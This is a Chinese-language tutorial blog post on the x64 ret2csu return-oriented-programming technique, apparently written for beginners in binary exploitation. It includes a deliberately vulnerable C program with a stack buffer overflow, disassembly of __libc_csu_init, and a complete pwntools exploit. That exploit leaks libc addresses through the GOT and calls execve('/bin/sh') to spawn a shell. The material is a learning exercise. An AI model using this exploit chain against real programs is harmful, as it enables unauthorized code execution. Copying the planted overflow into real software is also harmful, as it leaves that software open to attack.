0x00 前言
毕设和论文要搞吐了,再加上实习工作上的事情,近期又要开始准备HW的事情,只能先更新一部分。
0x01 从x86到x64
之前的rop都是32bit的程序,由于这篇文章涉及的方法用于64bit的程序,这里先说一下两者的区别,做一下过渡。
首先是寄存器传参和堆栈传参的区别,这里以一个例子说明
在32bit的程序中,如上图所示,在函数调用前,参数会被依次入栈;然而再64bit的同一个程序中,如下图所示,在函数调用前,参数会被放入寄存器中。两者进入函数后都会依照相应的规则去调用对应的参数,这里说一下x64寄存器使用的顺序:分别用rdi,rsi,rdx,rcx,r8,r9作为第1-6个参数。(如果参数过多会被放在栈中)
再提一个小点,虽然价值不大,对于我这种初学者来说更加深了理解,继续看
来看read函数,可以发现刚才说的一样,传参一个是栈,一个寄存器。无论是哪种方式,buf参数最终都会读到栈里面,不一样的只不过是buf的中间传递介质。
其它的区别这里就不再展开细说,如果感兴趣详细了解请见https://blog.csdn.net/qq_29343201/article/details/51278798
0x02 ret2csu
经过一番知识铺垫,那么现在开始进入正题
使用蒸米师傅的例子
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
我们先分析一下再去验证
题目的前提:
1、X64程序,寄存器传参
2、程序中找不到system()等可利用函数和"/bin/sh"类似的字符串
3、使用ROPgadget无法找到可利用的片段,具体可以见初探ROP 中的ret2syscall章节
按照以往(上一篇文章)的手法,针对于前提2,我们使用ret2libc进行绕过,具体详见初探ROP 中的ret2libc章节的第三种情况,但是忽略了一点X64是寄存器传参,那么system()或者execve()函数的参数在寄存器保存着,那么怎么给寄存器赋予响应的值呢?很简单,类似ret2syscall手法,进行一系列出栈操作即可(达到mov的目的),但是前提3导致我们搜索不到可利用的片段,似乎山穷水尽了,那么我们怎么办呢?
这个时候就应该寻找新的利用手法,也就是ret2csu,其实就是利用<__libc_csu_init>,ta是在libc.so里面,一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作,可以说是通用gadgets。
来看一下这个神秘的函数
0000000000000760 <__libc_csu_init>:
760: 41 57 push %r15
762: 41 56 push %r14
764: 41 89 ff mov %edi,%r15d
767: 41 55 push %r13
769: 41 54 push %r12
76b: 4c 8d 25 56 06 20 00 lea 0x200656(%rip),%r12
772: 55 push %rbp
773: 48 8d 2d 56 06 20 00 lea 0x200656(%rip),%rbp
77a: 53 push %rbx
77b: 49 89 f6 mov %rsi,%r14
77e: 49 89 d5 mov %rdx,%r13
781: 4c 29 e5 sub %r12,%rbp
784: 48 83 ec 08 sub $0x8,%rsp
788: 48 c1 fd 03 sar $0x3,%rbp
78c: e8 e7 fd ff ff callq 578 <_init>
791: 48 85 ed test %rbp,%rbp
794: 74 20 je 7b6 <__libc_csu_init+0x56>
796: 31 db xor %ebx,%ebx
798: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
79f: 00
7a0: 4c 89 ea mov %r13,%rdx
7a3: 4c 89 f6 mov %r14,%rsi
7a6: 44 89 ff mov %r15d,%edi
7a9: 41 ff 14 dc callq *(%r12,%rbx,8)
7ad: 48 83 c3 01 add $0x1,%rbx
7b1: 48 39 dd cmp %rbx,%rbp
7b4: 75 ea jne 7a0 <__libc_csu_init+0x40>
7b6: 48 83 c4 08 add $0x8,%rsp
7ba: 5b pop %rbx
7bb: 5d pop %rbp
7bc: 41 5c pop %r12
7be: 41 5d pop %r13
7c0: 41 5e pop %r14
7c2: 41 5f pop %r15
7c4: c3 retq
7c5: 90 nop
7c6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
7cd: 00 00 00
刚才巴拉巴拉了不少,这里还是得先明确一下我们使用<__libc_csu_init>的目的:
由于寄存器传参的特性,我们需要把相应的参数值保存到相应寄存器中供后续函数进行调用,寄存器存参数的顺序为:rdi,rsi,rdx,rcx,r8,r9,所以我们使用此函数的片段来达到控制寄存器得目的。
继续看此神秘函数,能改变上述寄存器的值是这几处,如下图所示:
既然有了可以控制点,那么就想办法怎么去利用?简单画一下流程,能够更好理解是怎么利用。
能够通过栈溢出得直接控制点就是几个出栈得地方,可以发现通过这几条指令可以完美的控制寄存器得值,然后通过后续程序可以间接控制参数寄存器得值。
因为gadgets一般选择ret结尾得片段,这样可以达到控制程序执行的目的。这里只要将堆栈中h中值填为0x7a0,即可继续执行下一段gadgets,通过mov指令间接控制了rsi,rdx、rdi寄存器
继续往下看
刚才通过控制控制rip的值使得程序从mov %r13 %rdx处继续执行,在②处对两个参数寄存器进行了传值,然后进行调用函数,由于callq指令的性质,此函数的地址根据*(%r12,%rbx,8)的值来寻找,也就是找到X的地方进行执行,之后两次ret进行控制rip寄存器,也就是继续掌控程序执行的下条指令的位置所在。
通过以上分析,可以发现此ROP链能够完成一个强大的功能,那就是可以完成一个函数的调用。
根据上一篇文章所提到的ret2libc的第三种利用方式,可以通过write或者put等一系列打印性质的函数读出某个函数的got表内容,从而确定libc中system或者execve等执行性质函数的位置所在,进而达到getshell的目的。
当然这只是理想情况,为什么这么说呢?
回到<__libc_csu_init>中
两个gadgets之间还有一个jne条状,也就是说如果ZF=1(%rbx==%rbp),那么就不会跳转,按照我们刚才设计的顺序去执行。所以我们再刚才的基础上再去控制一下ZF=1即可。简单陈列一下条件:
一、r13和r12寄存器中需要从栈中读到所需要参数的位置,进而可以控制rdx和rsi寄存器的值
二、让rbx的值为0(当然也可以不为0,只是这样构造函数的地址方便),那么*(%r12,%rbx,8)就成了*%r12,只需要让r12寄存器从栈中读到所需要函数的地址即可。
三、为了让ZF=1,也就是rbp和rbx寄存器的值相等,既然rbx已经为0了,通过add指令到达cmp比较时它为1,因此rbp也需要为1,让rbx寄存器从栈中读取1即可。
以上三个条件完成后,此ROP链配合上栈溢出漏洞就可以轻松地完成某一函数地调用过程了。
其实明白了ret2csu地原理,上述地例子地做法就很灵活了,我们再来分析:
一、存在栈溢出漏洞
二、可以一条完成任意函数功能的ROP链
三、条件二完成,我们依然可以控制程序的执行
有了这三个条件,做法的灵活性就体现出来,比如可以执行完write函数泄露write的GOT表地址后再去执行main()或者_start函数继续构造栈中内容执行execve达到getshell的目的。
这里使用上述方法,基础内容不再赘述,详细可以见上一篇文章(初探ROP)来了解。
通过gdb调试可以计算出偏移是0x80+0x8
这里有一点还是盲区:callq *(%r12,%rbx,8)这一指令是间接调用函数,类似于它访问是一个指针,一个指向真实目的的指针。因为后续需要调用execve函数,但是我们需要提供指向其地址的指针的地址,所以用bss段的空间进行保存。不再说废话占用篇幅了,做一个总结,如果想仔细了解,
- List item
欢迎阅读之前的文章。如下图所示,确定堆栈上的构造
根据以上构造给出exp(个人不习惯用LibcSearcher)
from pwn import *
level5 = ELF('./level5')
sh = process('./level5')
libc = level5.libc
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x4005e0
csu_end_addr = 0x4005fa
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
print hex(write_addr)
libc.address = write_addr - libc.symbols['write']
execve_addr = libc.symbols['execve']
log.success('execve_addr ' + hex(execve_addr))
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\0')
sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
0x03 尾记
还未入门,详细记录每个知识点,为了能更好地温故知新,也希望能帮助和我一样想要入门二进制安全的初学者,如有错误,希望大佬们指出。